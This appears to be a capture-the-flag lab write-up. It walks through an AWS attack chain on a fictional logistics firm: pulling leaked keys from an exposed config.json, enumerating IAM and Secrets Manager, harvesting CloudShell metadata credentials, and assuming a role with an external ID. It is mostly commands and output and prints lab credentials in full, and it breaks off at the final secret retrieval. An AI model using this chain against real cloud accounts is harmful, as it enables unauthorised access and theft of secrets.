12 minutes
Pwned Labs - Assume Privileged Role with External ID
Assume Privileged Role with External ID
Scenario
Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn’t just a test of their defenses, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!
Learning Outcomes
- Using ffuf to fuzz web server files
- Familiarity with the AWS CLI
- Use aws-enumerator to automate permission enumeration
- Enumerating and extracting secrets from AWS Secrets Manager
- Enumerating IAM users, roles and policies using the AWS CLI
- Assuming a role using that requires an External ID
- Obtaining AWS keys from an AWS Console session
Real World Context
The scenario starts with an exposed configuration file on a web servers, which is a common real-world security issue. In September 2022 the HackerOne user 0r10nh4ck submitted a report to U.S. Dept Of Defense, revealing that one of their servers was exposing a config.json
file that contained AWS credentials for their account. Using AssumeRole is conceptually similar to the sudo command on Linux, in that it enables you to delegate access to AWS resources without sharing your AWS account root, and an IAM user is given temporary credentials to perform a privileged operation. It is also possible to specify that the caller specify an External ID (similar to sudo requiring a password). External ID is a unique identifier that third parties use to assume a role in their customers’ account.
Attack
First thing we need to do is enumerate the target and for a public facing IP I would use Shodan but this returned no results for the IP Address so we resort back to trusty nmap
which shows us Port 80 is open.
❯ nmap -e tun0 -Pn 52.0.51.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 09:15 PST
Nmap scan report for 52.0.51.234
Host is up (0.30s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 33.79 seconds
We visit the site and we are presented with the following landing page
Now that we have found a site, time to do some further enumeration to get an understanding of the land. There are a number of tools that can be used and my personal preference is initially feroxbuster
for initial scan and then I switch across to ffuf
as required. We are running a scan without recursion and looking for common file extensions and have found a config.json
file
❯ feroxbuster -u http://52.0.51.234 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -n -x json txt conf bak xml yml yaml env txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://52.0.51.234
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [json, txt, conf, bak, xml, yml, yaml, env, txt]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 308c http://52.0.51.234/img => http://52.0.51.234/img/
200 GET 5l 264w 11231c http://52.0.51.234/css/agency.min.css
301 GET 9l 28w 308c http://52.0.51.234/css => http://52.0.51.234/css/
200 GET 75l 244w 2807c http://52.0.51.234/js/contact_me.js
200 GET 52l 278w 27787c http://52.0.51.234/img/about/2.jpg
200 GET 6l 25w 1092c http://52.0.51.234/js/agency.min.js
200 GET 25l 154w 12398c http://52.0.51.234/img/about/1.jpg
301 GET 9l 28w 307c http://52.0.51.234/js => http://52.0.51.234/js/
200 GET 221l 1617w 104367c http://52.0.51.234/img/2.png
200 GET 4l 66w 31000c http://52.0.51.234/vendor/font-awesome/css/font-awesome.min.css
200 GET 7l 883w 69453c http://52.0.51.234/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 937l 2655w 37173c http://52.0.51.234/js/jqBootstrapValidation.js
200 GET 7l 1429w 127343c http://52.0.51.234/vendor/bootstrap/css/bootstrap.min.css
200 GET 10473l 61109w 5805642c http://52.0.51.234/img/portfolio/33.jpg
200 GET 4576l 26608w 2182772c http://52.0.51.234/img/portfolio/11.jpg
200 GET 20l 36w 832c http://52.0.51.234/config.json
200 GET 9055l 52213w 4615185c http://52.0.51.234/img/portfolio/22.jpg
200 GET 447l 1246w 18312c http://52.0.51.234/
301 GET 9l 28w 311c http://52.0.51.234/vendor => http://52.0.51.234/vendor/
[####################] - 19m 201550/201550 0s found:19 errors:8
[####################] - 19m 201160/201160 172/s http://52.0.51.234/
We use curl
to retrieve the contents of the file and we have found a Access and Secret Key as well as an S3 Bucket and OAuth Settings.
❯ curl http://52.0.51.234/config.json
{"aws": {
"accessKeyID": "AKIAWHEOTHRFYM6CAHHG",
"secretAccessKey": "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",
"region": "us-east-1",
"bucket": "hl-data-download",
"endpoint": "https://s3.amazonaws.com"
},
"serverSettings": {
"port": 443,
"timeout": 18000000
},
"oauthSettings": {
"authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
"tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
"clientID": "1012aBcD3456EfGh",
"clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
"callbackURL": "https://portal.huge-logistics/callback",
"userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
}
}
We use the credentials found and then verify that these work by running aws sts get-caller-identity
which is the equivalent of the whoami
command.
❯ aws configure --profile pentester
AWS Access Key ID [****************NWX4]: AKIAWHEOTHRFYM6CAHHG
AWS Secret Access Key [****************TxXp]: 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
Default region name [None]: us-east-1
Default output format [None]:
❯ aws --profile pentester sts get-caller-identity
{
"UserId": "AIDAWHEOTHRF7MLFMRGYH",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/data-bot"
}
With working credentials we will see if we are able to get any information initially from the bucket that was listed in the config.json
file, but all we find are what appears to be transaction logs.
❯ aws --profile pentester s3 ls s3://hl-data-download
2023-08-06 05:56:58 5200 LOG-1-TRANSACT.csv
2023-08-06 05:57:05 5200 LOG-10-TRANSACT.csv
2023-08-06 05:58:04 5200 LOG-100-TRANSACT.csv
2023-08-06 05:57:05 5200 LOG-11-TRANSACT.csv
2023-08-06 05:57:06 5200 LOG-12-TRANSACT.csv
2023-08-06 05:57:07 5200 LOG-13-TRANSACT.csv
2023-08-06 05:57:08 5200 LOG-14-TRANSACT.csv
2023-08-06 05:57:08 5200 LOG-15-TRANSACT.csv
2023-08-06 05:57:09 5200 LOG-16-TRANSACT.csv
2023-08-06 05:57:09 5200 LOG-17-TRANSACT.csv
2023-08-06 05:57:10 5200 LOG-18-TRANSACT.csv
< -- snip -->
We copy one of the files and it is a list of transactions as expected by the title of the file
❯ aws --profile pentester s3 cp s3://hl-data-download/LOG-1-TRANSACT.csv .
download: s3://hl-data-download/LOG-1-TRANSACT.csv to ./LOG-1-TRANSACT.csv
❯ head LOG-1-TRANSACT.csv
Bx8w4Pky82Z19,HL-CUST-ORDER-0751,USD,15000,APPROVED
2R8mHt3eZNJQx,HL-CUST-ORDER-8604,USD,15000,APPROVED
Ek0k74vQDhHUd,HL-CUST-ORDER-1962,USD,15000,APPROVED
u2NQYYTBAjG8B,HL-CUST-ORDER-1642,USD,15000,APPROVED
W2RYflhi2BfjF,HL-CUST-ORDER-4037,USD,15000,APPROVED
PubhFWge7qcDU,HL-CUST-ORDER-6051,USD,15000,APPROVED
UhI69Dsk6uhgs,HL-CUST-ORDER-0529,USD,15000,APPROVED
XObtFax8b0t1o,HL-CUST-ORDER-2706,USD,15000,APPROVED
PfA3yd2F8GBVS,HL-CUST-ORDER-4431,USD,15000,APPROVED
JhFJuR3awbxOM,HL-CUST-ORDER-9252,USD,15000,APPROVED
We will use aws-enumerator
to see what other permissions that we may have and first we need to set up our credentials and then we will enumerate the services and can see that we have permissions to DynamoDB, SecretsManager and STS.
❯ aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIAWHEOTHRFYM6CAHHG -aws_secret_access_key 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
Message: File .env with AWS credentials were created in current folder
❯ aws-enumerator enum services -all
Message: Successful APPMESH: 0 / 1
Message: Successful AMPLIFY: 0 / 1
< -- snip -- >
Message: Successful EKS: 0 / 1
Message: Successful DEVICEFARM: 0 / 10
Message: Successful DYNAMODB: 1 / 5
Message: Successful ECR: 0 / 2
< -- snip -- >
Message: Successful S3: 0 / 1
Message: Successful SECRETSMANAGER: 1 / 2
Message: Successful SECURITYHUB: 0 / 8
< -- snip -- >
Message: Successful STS: 2 / 2
Message: Successful SSM: 0 / 16
< -- snip -- >
Time: 1m3.011993624s
Message: Enumeration finished
We will dump out the permissions to give us some more details on these permissions and what our next step will be.
❯ aws-enumerator dump -services dynamodb,secretsmanager,sts -filter List
------------------------------------------------------------- DYNAMODB -------------------------------------------------------------
---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------
ListSecrets
--------------------------------------------------------------- STS ---------------------------------------------------------------
We can see that we have ListSecrets and we could retrieve this by using the AWS CLI, but we also have the ability to do this using aws-enumerator
❯ aws-enumerator dump -services secretsmanager -filter List -print
---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------
ListSecrets
{
"ListSecrets": {
"NextToken": null,
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z",
"CreatedDate": "2023-07-12T18:14:35.74Z",
"DeletedDate": null,
"Description": "Admin access to MySQL employee database",
"KmsKeyId": null,
"LastAccessedDate": "2024-07-01T00:00:00Z",
"LastChangedDate": "2023-07-12T18:15:38.909Z",
"LastRotatedDate": null,
"Name": "employee-database-admin",
"OwningService": null,
"PrimaryRegion": null,
"RotationEnabled": false,
"RotationLambdaARN": null,
"RotationRules": null,
"SecretVersionsToStages": {
"41a82b5b-fb44-4ab3-8811-7ea171e9d3c1": [
"AWSCURRENT"
]
},
"Tags": []
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl",
"CreatedDate": "2023-07-12T18:15:02.97Z",
"DeletedDate": null,
"Description": "Access to MySQL employee database",
"KmsKeyId": null,
"LastAccessedDate": "2024-07-01T00:00:00Z",
"LastChangedDate": "2024-07-01T00:25:48.338Z",
"LastRotatedDate": "2024-07-01T00:25:48.358Z",
"Name": "employee-database",
"OwningService": null,
"PrimaryRegion": null,
"RotationEnabled": true,
"RotationLambdaARN": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
"RotationRules": {
"AutomaticallyAfterDays": 7
},
"SecretVersionsToStages": {
"01b3eb29-9102-46b5-ad2a-b5d48c4d08fa": [
"AWSCURRENT",
"AWSPENDING"
],
"be9a9249-c1e0-440b-abdd-83f65aa34956": [
"AWSPREVIOUS"
]
},
"Tags": []
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
"CreatedDate": "2023-08-04T21:19:28.466Z",
"DeletedDate": null,
"Description": "Allow external partner to access cost optimization user and Huge Logistics resources",
"KmsKeyId": null,
"LastAccessedDate": "2024-07-01T00:00:00Z",
"LastChangedDate": "2023-08-06T20:10:16.392Z",
"LastRotatedDate": null,
"Name": "ext/cost-optimization",
"OwningService": null,
"PrimaryRegion": null,
"RotationEnabled": false,
"RotationLambdaARN": null,
"RotationRules": null,
"SecretVersionsToStages": {
"f7d6ae91-5afd-4a53-93b9-92ee74d8469c": [
"AWSCURRENT"
]
},
"Tags": []
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
"CreatedDate": "2023-08-04T22:33:39.828Z",
"DeletedDate": null,
"Description": "Access to the default payment card for Huge Logistics",
"KmsKeyId": null,
"LastAccessedDate": "2024-07-01T00:00:00Z",
"LastChangedDate": "2023-08-04T22:33:39.872Z",
"LastRotatedDate": null,
"Name": "billing/hl-default-payment",
"OwningService": null,
"PrimaryRegion": null,
"RotationEnabled": false,
"RotationLambdaARN": null,
"RotationRules": null,
"SecretVersionsToStages": {
"f8e592ca-4d8a-4a85-b7fa-7059539192c5": [
"AWSCURRENT"
]
},
"Tags": []
}
],
"ResultMetadata": {}
}
}
------------------------------------------------------------------------------------------------------------------------------------
This definitely is a treasure trove of secrets and unfortunately we were only able to access the Cost Optimization secret, but that gives us another set of credentials.
❯ aws --profile pentester secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4
{
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
"Name": "ext/cost-optimization",
"VersionId": "f7d6ae91-5afd-4a53-93b9-92ee74d8469c",
"SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"K33pOurCostsOptimized!!!!\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-08-05T05:19:28.512000+08:00"
}
Using the credentials, we navigate to the AWS Console
We are able to login and are presented with the Console Home page
Getting access to the console is great, but not always that useful as there may be tools that we want to run which would require us to have IAM credentials. There is an excellent article on Hacking the Cloud that talks about exploiting CloudShell via an undocumented endpoint on Port 1338 which is covered in detail here and is the approach that we are going to take.
There are two methods that we can use, with the first being that we use curl
to directly query the metadata and the second to used the AWS CLI to get the value.
[cloudshell-user@ip-10-136-55-216 ~]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 44 100 44 0 0 19172 0 --:--:-- --:--:-- --:--:-- 22000
[cloudshell-user@ip-10-136-55-216 ~]$ curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
{
"Type": "",
"AccessKeyId": "ASIAWHEOTHRFRPPW5PHS",
"SecretAccessKey": "Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB",
"Token": "IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+",
"Expiration": "2024-07-02T02:49:01Z",
"Code": "Success"
You will note that the above value has an expiration time of 15 minutes. The other as mentioned before is to export the credentials via the AWS CLI
[cloudshell-user@ip-10-136-55-216 ~]$ aws configure export-credentials --format env
export AWS_ACCESS_KEY_ID=ASIAWHEOTHRFQJJRYWPI
export AWS_SECRET_ACCESS_KEY=7zVzJqZoFplnv1uCV6fBr4NMFwiQ5Ew5/AanAFeL
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEOn//////////wEaCXVzLWVhc3QtMSJHMEUCIHlZxVAUD7pNtlVy13nfI/05IXzMMa91LEiybUisufPxAiEAuzGNajy4WKFhhMepy52y36oJ9mS3kEM/bGIawq+0e0YqpgIIYhAAGgw0Mjc2NDgzMDIxNTUiDJm5eFl997VflweGXCqDAhUkZ7f5r6xNyE02maL3yvOD8AtRYG4uRDx6knbn4ECLMcagBhZZrDFpguphlnRXR2azlKTA1j4wEGqrJh0t53Hbedm+T89M8QEAeT+qd0tdce9TbLVaj2AetFyo13Ka4n/DgoRzWeHYZI0zuYloTRxQXtPZ8P+O8kvnEjmbxanVeATJ0ZmElxiY53jZlrW3UVRhONUVjdlLudo2DfIuNXBRK8J6+af953FwkO0sd/mb44bcrec4V86hd+M1UgYdXe5mgyrKP3SFWpx1K/8BiKrjVqP7dOUH/70AW4zzIW4l75+4P7Nd7oEo8gRsgSoLv1IP15d2zOEqTEE7Xx8sKqzvXtMwqMa4sgY6nQEoI/iNPYC85Qikra0CZAjAT3M5mTXF1NLA2oND88eL/bG1wtBS8LibtBCOT9Wao3F1j475B4go8ndlvy0nFQnaiVDHs2d8vxVRSo0XeRJP2mINrY+WXABLxOTDxLj2/gPoy1VilE3JeDoiKUAfTmd0FMzUWhxovnJofaEWbpDycuR5TYI16hJJuq9DlVVJTpyISuP799EXRXeK+gfo
[cloudshell-user@ip-10-136-55-216 ~]$
We configure AWS CLI with the above credentials and token
Ignore the differences in the token values above to what is entered below as there was a time delay and had to refresh the values.
❯ aws --profile ext-cost-user configure
AWS Access Key ID [****************YWPI]: ASIAWHEOTHRFRPPW5PHS
AWS Secret Access Key [****************AFeL]: Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB
Default region name [us-east-1]:
Default output format [None]:
❯ aws --profile ext-cost-user configure set aws_session_token "IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+"
❯ aws --profile ext-cost-user sts get-caller-identity
{
"UserId": "AIDAWHEOTHRFTNCWM7FHT",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}
We then enumerate the user to see attached policies and there are two, which are ExtCloudShell
and ExtPolicyTest
❯ aws --profile ext-cost-user iam list-attached-user-policies --user-name ext-cost-user
{
"AttachedPolicies": [
{
"PolicyName": "ExtCloudShell",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
},
{
"PolicyName": "ExtPolicyTest",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
}
]
}
We don’t have access to view ExtCloudShell
, but we can view the ExtPolicyTest
and we can see that the current version is v4
❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
{
"Policy": {
"PolicyName": "ExtPolicyTest",
"PolicyId": "ANPAWHEOTHRF7772VGA5J",
"Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-04T21:47:26+00:00",
"UpdateDate": "2023-08-06T20:23:42+00:00",
"Tags": []
}
}
We further enumerate the policy and we can see that there are AWS permissions and can see that there is a role ExternalCostOpimizeAccess
as well as a Policy Payment
❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedRolePolicies",
"iam:ListAttachedUserPolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::427648302155:policy/ExtPolicyTest",
"arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"arn:aws:iam::427648302155:policy/Payment",
"arn:aws:iam::427648302155:user/ext-cost-user"
]
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2023-08-06T20:23:42+00:00"
}
}
We drill down into the role and we can see that our user has the right to AssumeRole and do note that there is a Conditional Requirement of STS for an ExternalId value.
❯ aws --profile ext-cost-user iam get-role --role-name ExternalCostOpimizeAccess
{
"Role": {
"Path": "/",
"RoleName": "ExternalCostOpimizeAccess",
"RoleId": "AROAWHEOTHRFZP3NQR7WN",
"Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"CreateDate": "2023-08-04T21:09:30+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "37911"
}
}
}
]
},
"Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
"MaxSessionDuration": 3600,
"RoleLastUsed": {
"LastUsedDate": "2024-07-01T19:47:18+00:00",
"Region": "us-east-1"
}
}
}
We then enumerate Attached Role Policies for the role and we can see that the Payment
policy is attached to the role.
❯ aws --profile ext-cost-user iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
{
"AttachedPolicies": [
{
"PolicyName": "Payment",
"PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
}
]
}
Looking into the policy we can see that this is at Version v2
❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment
{
"Policy": {
"PolicyName": "Payment",
"PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
"Arn": "arn:aws:iam::427648302155:policy/Payment",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-08-04T22:03:41+00:00",
"UpdateDate": "2023-08-04T22:34:19+00:00",
"Tags": []
}
}
We then list the the Policy and note that this has GetSecretValue
for the default payment method for the company.
❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:DescribeSecret",
"secretsmanager:ListSecretVersionIds"
],
"Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "secretsmanager:ListSecrets",
"Resource": "*"
}
]
},
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2023-08-04T22:34:19+00:00"
}
}
You will recall that our account had permission to AssumeRole and also that there was a conditional requirement to specify an external-id
and we are able to successfully assume the role.
❯ aws --profile ext-cost-user sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name ExternalCostOptimize --external-id 37911
{
"Credentials": {
"AccessKeyId": "ASIAWHEOTHRFT6Q42XPZ",
"SecretAccessKey": "3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N",
"SessionToken": "IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA==",
"Expiration": "2024-07-02T04:15:53+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize",
"Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize"
}
}
We update our configuration with the credentials and session token and then verify that it is functioning correctly.
❯ aws --profile cost-optimize configure
AWS Access Key ID [None]: ASIAWHEOTHRFT6Q42XPZ
AWS Secret Access Key [None]: 3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N
Default region name [None]: us-east-1
Default output format [None]:
❯ aws --profile cost-optimize configure set aws_session_token "IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA=="
❯ aws --profile cost-optimize sts get-caller-identity
{
"UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize"
}
We have successfully assumed the role and been able to retrieve the default payment method.
❯ aws --profile cost-optimize secretsmanager get-secret-value --secret-id billing/hl-default-payment
{
